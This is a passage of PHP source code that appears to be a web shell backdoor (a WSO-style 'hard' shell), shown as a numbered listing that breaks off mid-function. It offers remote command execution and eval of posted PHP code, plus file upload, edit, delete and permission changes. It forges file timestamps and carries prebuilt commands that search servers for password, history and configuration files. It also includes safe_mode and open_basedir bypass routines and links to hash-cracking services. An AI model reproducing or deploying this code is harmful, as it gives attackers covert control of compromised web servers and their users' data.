  496. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>';
  497. }
  498. break;
  499. case 'chmod':
  500. if( !empty($_POST['p3']) ) {
  501. $perms = 0;
  502. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  503. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  504. if(!@chmod($_POST['p1'], $perms))
  505. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  506. }
  507. clearstatcache();
  508. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>';
  509. break;
  510. case 'edit':
  511. if( !is_writable($_POST['p1'])) {
  512. echo 'File isn\'t writeable';
  513. break;
  514. }
  515. if( !empty($_POST['p3']) ) {
  516. $time = @filemtime($_POST['p1']);
  517. $_POST['p3'] = substr($_POST['p3'],1);
  518. $fp = @fopen($_POST['p1'],"w");
  519. if($fp) {
  520. @fwrite($fp,$_POST['p3']);
  521. @fclose($fp);
  522. echo 'Saved!<br><script>p3_="";</script>';
  523. @touch($_POST['p1'],$time,$time);
  524. }
  525. }
  526. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  527. $fp = @fopen($_POST['p1'], 'r');
  528. if($fp) {
  529. while( !@feof($fp) )
  530. echo htmlspecialchars(@fread($fp, 1024));
  531. @fclose($fp);
  532. }
  533. echo '</textarea><input type=submit value="submit"></form>';
  534. break;
  535. case 'hexdump':
  536. $c = @file_get_contents($_POST['p1']);
  537. $n = 0;
  538. $h = array('00000000<br>','','');
  539. $len = strlen($c);
  540. for ($i=0; $i<$len; ++$i) {
  541. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  542. switch ( ord($c[$i]) ) {
  543. case 0: $h[2] .= ' '; break;
  544. case 9: $h[2] .= ' '; break;
  545. case 10: $h[2] .= ' '; break;
  546. case 13: $h[2] .= ' '; break;
  547. default: $h[2] .= $c[$i]; break;
  548. }
  549. $n++;
  550. if ($n == 32) {
  551. $n = 0;
  552. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  553. $h[1] .= '<br>';
  554. $h[2] .= "\n";
  555. }
  556. }
  557. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  558. break;
  559. case 'rename':
  560. if( !empty($_POST['p3']) ) {
  561. if(!@rename($_POST['p1'], $_POST['p3']))
  562. echo 'Can\'t rename!<br>';
  563. else
  564. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  565. }
  566. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>';
  567. break;
  568. case 'touch':
  569. if( !empty($_POST['p3']) ) {
  570. $time = strtotime($_POST['p3']);
  571. if($time) {
  572. if(!touch($_POST['p1'],$time,$time))
  573. echo 'Fail!';
  574. else
  575. echo 'Touched!';
  576. } else echo 'Bad time format!';
  577. }
  578. clearstatcache();
  579. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>';
  580. break;
  581. /* (С) 12.2015 mitryz */
  582. case 'frame':
  583. $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
  584. if ($frameSrc[0] != '/')
  585. $frameSrc = '/' . $frameSrc;
  586. if ($frameSrc[strlen($frameSrc) - 1] != '/')
  587. $frameSrc = $frameSrc . '/';
  588. $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
  589. echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
  590. break;
  591. }
  592. echo '</div>';
  593. hardFooter();
  594. }
  595. if($os == 'win')
  596. $aliases = array(
  597. "List Directory" => "dir",
  598. "Find index.php in current dir" => "dir /s /w /b index.php",
  599. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  600. "Show active connections" => "netstat -an",
  601. "Show running services" => "net start",
  602. "User accounts" => "net user",
  603. "Show computers" => "net view",
  604. "ARP Table" => "arp -a",
  605. "IP Configuration" => "ipconfig /all"
  606. );
  607. else
  608. $aliases = array(
  609. "List dir" => "ls -lha",
  610. "list file attributes on a Linux second extended file system" => "lsattr -va",
  611. "show opened ports" => "netstat -an | grep -i listen",
  612. "process status" => "ps aux",
  613. "Find" => "",
  614. "find all suid files" => "find / -type f -perm -04000 -ls",
  615. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  616. "find all sgid files" => "find / -type f -perm -02000 -ls",
  617. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  618. "find config.inc.php files" => "find / -type f -name config.inc.php",
  619. "find config* files" => "find / -type f -name \"config*\"",
  620. "find config* files in current dir" => "find . -type f -name \"config*\"",
  621. "find all writable folders and files" => "find / -perm -2 -ls",
  622. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  623. "find all service.pwd files" => "find / -type f -name service.pwd",
  624. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  625. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  626. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  627. "find all .bash_history files" => "find / -type f -name .bash_history",
  628. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  629. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  630. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  631. "Locate" => "",
  632. "locate httpd.conf files" => "locate httpd.conf",
  633. "locate vhosts.conf files" => "locate vhosts.conf",
  634. "locate proftpd.conf files" => "locate proftpd.conf",
  635. "locate psybnc.conf files" => "locate psybnc.conf",
  636. "locate my.conf files" => "locate my.conf",
  637. "locate admin.php files" =>"locate admin.php",
  638. "locate cfg.php files" => "locate cfg.php",
  639. "locate conf.php files" => "locate conf.php",
  640. "locate config.dat files" => "locate config.dat",
  641. "locate config.php files" => "locate config.php",
  642. "locate config.inc files" => "locate config.inc",
  643. "locate config.inc.php" => "locate config.inc.php",
  644. "locate config.default.php files" => "locate config.default.php",
  645. "locate config* files " => "locate config",
  646. "locate .conf files"=>"locate '.conf'",
  647. "locate .pwd files" => "locate '.pwd'",
  648. "locate .sql files" => "locate '.sql'",
  649. "locate .htpasswd files" => "locate '.htpasswd'",
  650. "locate .bash_history files" => "locate '.bash_history'",
  651. "locate .mysql_history files" => "locate '.mysql_history'",
  652. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  653. "locate backup files" => "locate backup",
  654. "locate dump files" => "locate dump",
  655. "locate priv files" => "locate priv"
  656. );
  657. function actionConsole() {
  658. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  659. prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  660. $_POST['p1'] .= ' 2>&1';
  661. } elseif(!empty($_POST['p1']))
  662. prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  663. if(isset($_POST['ajax'])) {
  664. prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
  665. ob_start();
  666. echo "d.cf.cmd.value='';\n";
  667. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0"));
  668. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  669. if(@chdir($match[1])) {
  670. $GLOBALS['cwd'] = @getcwd();
  671. echo "c_='".$GLOBALS['cwd']."';";
  672. }
  673. }
  674. echo "d.cf.output.value+='".$temp."';";
  675. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  676. $temp = ob_get_clean();
  677. echo strlen($temp), "\n", $temp;
  678. exit;
  679. }
  680. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  681. prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  682. hardHeader();
  683. echo "<script>
  684. if(window.Event) window.captureEvents(Event.KEYDOWN);
  685. var cmds = new Array('');
  686. var cur = 0;
  687. function kp(e) {
  688. var n = (window.Event) ? e.which : e.keyCode;
  689. if(n == 38) {
  690. cur--;
  691. if(cur>=0)
  692. document.cf.cmd.value = cmds[cur];
  693. else
  694. cur++;
  695. } else if(n == 40) {
  696. cur++;
  697. if(cur < cmds.length)
  698. document.cf.cmd.value = cmds[cur];
  699. else
  700. cur--;
  701. }
  702. }
  703. function add(cmd) {
  704. cmds.pop();
  705. cmds.push(cmd);
  706. cmds.push('');
  707. cur = cmds.length-1;
  708. }
  709. </script>";
  710. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
  711. foreach($GLOBALS['aliases'] as $n => $v) {
  712. if($v == '') {
  713. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  714. continue;
  715. }
  716. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  717. }
  718.  
  719. echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
  720. if(!empty($_POST['p1'])) {
  721. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  722. }
  723. echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  724. echo '</form></div><script>d.cf.cmd.focus();</script>';
  725. hardFooter();
  726. }
  727. function actionPhp() {
  728. if( isset($_POST['ajax']) ) {
  729. $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  730. ob_start();
  731. eval($_POST['p1']);
  732. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  733. echo strlen($temp), "\n", $temp;
  734. exit;
  735. }
  736. hardHeader();
  737. if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  738. echo '<h1>PHP info</h1><div class=content>';
  739. ob_start();
  740. phpinfo();
  741. $tmp = ob_get_clean();
  742. $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  743. $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  744. $tmp = preg_replace('!h1!msiU','h2',$tmp);
  745. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  746. $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  747. echo $tmp;
  748. echo '</div><br>';
  749. }
  750. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  751. $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  752. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  753. echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  754. if(!empty($_POST['p1'])) {
  755. ob_start();
  756. eval($_POST['p1']);
  757. echo htmlspecialchars(ob_get_clean());
  758. }
  759. echo '</pre></div>';
  760. hardFooter();
  761. }
  762. function actionFilesMan() {
  763. if (!empty ($_COOKIE['f']))
  764. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  765.  
  766. if(!empty($_POST['p1'])) {
  767. switch($_POST['p1']) {
  768. case 'uploadFile':
  769. if ( is_array($_FILES['f']['tmp_name']) ) {
  770. foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) {
  771. if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
  772. echo "Can't upload file!";
  773. }
  774. }
  775. }
  776. break;
  777. case 'mkdir':
  778. if(!@mkdir($_POST['p2']))
  779. echo "Can't create new dir";
  780. break;
  781. case 'delete':
  782. function deleteDir($path) {
  783. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  784. $dh = opendir($path);
  785. while ( ($▟ = readdir($dh) ) !== false) {
  786. $▟ = $path.$▟;
  787. if ( (basename($▟) == "..") || (basename($▟) == ".") )
  788. continue;
  789. $type = filetype($▟);
  790. if ($type == "dir")
  791. deleteDir($▟);
  792. else
  793. @unlink($▟);
  794. }
  795. closedir($dh);
  796. @rmdir($path);
  797. }
  798. if(is_array(@$_POST['f']))
  799. foreach($_POST['f'] as $f) {
  800. if($f == '..')
  801. continue;
  802. $f = urldecode($f);
  803. if(is_dir($f))
  804. deleteDir($f);
  805. else
  806. @unlink($f);
  807. }
  808. break;
  809. case 'paste':
  810. if($_COOKIE['act'] == 'copy') {
  811. function copy_paste($c,$s,$d){
  812. if(is_dir($c.$s)){
  813. mkdir($d.$s);
  814. $h = @opendir($c.$s);
  815. while (($f = @readdir($h)) !== false)
  816. if (($f != ".") and ($f != ".."))
  817. copy_paste($c.$s.'/',$f, $d.$s.'/');
  818. } elseif(is_file($c.$s))
  819. @copy($c.$s, $d.$s);
  820. }
  821. foreach($_COOKIE['f'] as $f)
  822. copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  823. } elseif($_COOKIE['act'] == 'move') {
  824. function move_paste($c,$s,$d){
  825. if(is_dir($c.$s)){
  826. mkdir($d.$s);
  827. $h = @opendir($c.$s);
  828. while (($f = @readdir($h)) !== false)
  829. if (($f != ".") and ($f != ".."))
  830. copy_paste($c.$s.'/',$f, $d.$s.'/');
  831. } elseif(@is_file($c.$s))
  832. @copy($c.$s, $d.$s);
  833. }
  834. foreach($_COOKIE['f'] as $f)
  835. @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  836. } elseif($_COOKIE['act'] == 'zip') {
  837. if(class_exists('ZipArchive')) {
  838. $zip = new ZipArchive();
  839. if ($zip->open($_POST['p2'], 1)) {
  840. chdir($_COOKIE['c']);
  841. foreach($_COOKIE['f'] as $f) {
  842. if($f == '..')
  843. continue;
  844. if(@is_file($_COOKIE['c'].$f))
  845. $zip->addFile($_COOKIE['c'].$f, $f);
  846. elseif(@is_dir($_COOKIE['c'].$f)) {
  847. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  848. foreach ($iterator as $key=>$value) {
  849. $zip->addFile(realpath($key), $key);
  850. }
  851. }
  852. }
  853. chdir($GLOBALS['cwd']);
  854. $zip->close();
  855. }
  856. }
  857. } elseif($_COOKIE['act'] == 'unzip') {
  858. if(class_exists('ZipArchive')) {
  859. $zip = new ZipArchive();
  860. foreach($_COOKIE['f'] as $f) {
  861. if($zip->open($_COOKIE['c'].$f)) {
  862. $zip->extractTo($GLOBALS['cwd']);
  863. $zip->close();
  864. }
  865. }
  866. }
  867. } elseif($_COOKIE['act'] == 'tar') {
  868. chdir($_COOKIE['c']);
  869. $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  870. ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  871. chdir($GLOBALS['cwd']);
  872. }
  873. unset($_COOKIE['f']);
  874. setcookie('f', '', time() - 3600);
  875. break;
  876. default:
  877. if(!empty($_POST['p1'])) {
  878. prototype('act', $_POST['p1']);
  879. prototype('f', serialize(@$_POST['f']));
  880. prototype('c', @$_POST['c']);
  881. }
  882. break;
  883. }
  884. }
  885. hardHeader();
  886. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  887. $dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  888. if($dirContent === false) { echo 'Can\'t open this folder!';hardFooter(); return; }
  889. global $sort;
  890. $sort = array('name', 1);
  891. if(!empty($_POST['p1'])) {
  892. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  893. $sort = array($match[1], (int)$match[2]);
  894. }
  895. echo "<script>
  896. function sa() {
  897. for(i=0;i<d.files.elements.length;i++)
  898. if(d.files.elements[i].type == 'checkbox')
  899. d.files.elements[i].checked = d.files.elements[0].checked;
  900. }
  901. </script>
  902. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  903. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  904. $dirs = $files = array();
  905. $n = count($dirContent);
  906. for($i=0;$i<$n;$i++) {
  907. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  908. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  909. $tmp = array('name' => $dirContent[$i],
  910. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  911. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  912. 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  913. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  914. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  915. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  916. );
  917. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  918. $files[] = array_merge($tmp, array('type' => 'file'));
  919. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  920. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  921. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != "."))
  922. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  923. }
  924. $GLOBALS['sort'] = $sort;
  925. function cmp($a, $b) {
  926. if($GLOBALS['sort'][0] != 'size')
  927. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  928. else
  929. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  930. }
  931. usort($files, "cmp");
  932. usort($dirs, "cmp");
  933. $files = array_merge($dirs, $files);
  934. $l = 0;
  935. foreach($files as $f) {
  936. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  937. .'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  938. $l = $l?0:1;
  939. }
  940. echo "<tr id=fak><td colspan=7>
  941. <input type=hidden name=ne value=''>
  942. <input type=hidden name=a value='FilesMan'>
  943. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  944. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  945. <label><select name='p1'>";
  946. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  947. echo "<option value='paste'>↳ Paste</option>";
  948. echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  949. if(class_exists('ZipArchive'))
  950. echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
  951. echo "<option value='tar'>+ tar.gz</option>";
  952. echo "</select></label>";
  953. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  954. echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  955. echo "<input type='submit' value='submit'></td></tr></form></table></div>";
  956. hardFooter();
  957. }
  958. function actionStringTools() {
  959. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  960. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  961. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  962. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  963. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  964. $stringTools = array(
  965. 'Base64 encode' => 'base64_encode',
  966. 'Base64 decode' => 'base64_decode',
  967. 'Url encode' => 'urlencode',
  968. 'Url decode' => 'urldecode',
  969. 'Full urlencode' => 'full_urlencode',
  970. 'md5 hash' => 'md5',
  971. 'sha1 hash' => 'sha1',
  972. 'crypt' => 'crypt',
  973. 'CRC32' => 'crc32',
  974. 'ASCII to HEX' => 'ascii2hex',
  975. 'HEX to ASCII' => 'hex2ascii',
  976. 'HEX to DEC' => 'hexdec',
  977. 'HEX to BIN' => 'hex2bin',
  978. 'DEC to HEX' => 'dechex',
  979. 'DEC to BIN' => 'decbin',
  980. 'BIN to HEX' => 'binhex',
  981. 'BIN to DEC' => 'bindec',
  982. 'String to lower case' => 'strtolower',
  983. 'String to upper case' => 'strtoupper',
  984. 'Htmlspecialchars' => 'htmlspecialchars',
  985. 'String length' => 'strlen',
  986. );
  987. if(isset($_POST['ajax'])) {
  988. prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
  989. ob_start();
  990. if(in_array($_POST['p1'], $stringTools))
  991. echo $_POST['p1']($_POST['p2']);
  992. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  993. echo strlen($temp), "\n", $temp;
  994. exit;
  995. }
  996. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  997. prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  998. hardHeader();
  999. echo '<h1>String conversions</h1><div class=content>';
  1000. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
  1001. foreach($stringTools as $k => $v)
  1002. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1003. echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1004. if(!empty($_POST['p1'])) {
  1005. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1006. }
  1007. echo"</pre></div><br><h1>Search files:</h1><div class=content>
  1008. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  1009. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  1010. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  1011. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  1012. <tr><td></td><td><input type='submit' value='submit'></td></tr>
  1013. </table></form>";
  1014. function hardRecursiveGlob($path) {
  1015. if(substr($path, -1) != '/')
  1016. $path.='/';
  1017. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  1018. if(is_array($paths)&&@count($paths)) {
  1019. foreach($paths as $▟) {
  1020. if(@is_dir($▟)){
  1021. if($path!=$▟)
  1022. hardRecursiveGlob($▟);
  1023. } else {
  1024. if(empty($_POST['p2']) || @strpos(file_get_contents($▟), $_POST['p2'])!==false)
  1025. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($▟)."\", \"view\",\"\")'>".htmlspecialchars($▟)."</a><br>";
  1026. }
  1027. }
  1028. }
  1029. }
  1030. if(@$_POST['p3'])
  1031. hardRecursiveGlob($_POST['c']);
  1032. echo "</div><br><h1>Search for hash:</h1><div class=content>
  1033. <form method='post' target='_blank' name='hf'>
  1034. <input type='text' name='hash' style='width:200px;'><br>
  1035. <input type='hidden' name='act' value='find'/>
  1036. <input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  1037. <input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='https://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  1038. <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='https://www.fakenamegenerator.com/';document.hf.submit()\"><br>
  1039. <input type='submit' value='hashcrack.com' onclick=\"document.hf.action='https://www.hashcrack.com/index.php';document.hf.submit()\"><br>
  1040. <input type='submit' value='toolki.com' onclick=\"document.hf.action='https://toolki.com/';document.hf.submit()\"><br>
  1041. <input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='https://fopo.com.ar/';document.hf.submit()\"><br>
  1042. <input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='https://www.md5decrypter.com/';document.hf.submit()\"><br>
  1043. </form></div>";
  1044. hardFooter();
  1045. }
  1046. function actionSafeMode() {
  1047. $temp='';
  1048. ob_start();
  1049. switch($_POST['p1']) {
  1050. case 1:
  1051. $temp=@tempnam($test, 'cx');
  1052. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1053. echo @file_get_contents($temp);
  1054. unlink($temp);
  1055. } else
  1056. echo 'Sorry... Can\'t open file';
  1057. break;
  1058. case 2:
  1059. $files = glob($_POST['p2'].'*');
  1060. if( is_array($files) )
  1061. foreach ($files as $filename)
  1062. echo $filename."\n";
  1063. break;
  1064. case 3:
  1065. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  1066. curl_exec($ch);
  1067. break;
  1068. case 4:
  1069. ini_restore("safe_mode");
  1070. ini_restore("open_basedir");
  1071. include($_POST['p2']);
  1072. break;
  1073. case 5:
  1074. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1075. $uid = @posix_getpwuid($_POST['p2']);
  1076. if ($uid)
  1077. echo join(':',$uid)."\n";
  1078. }
  1079. break;
  1080. case 6:
  1081. if(!function_exists('imap_open'))break;
  1082. $stream = imap_open($_POST['p2'], "", "");
  1083. if ($stream == FALSE)
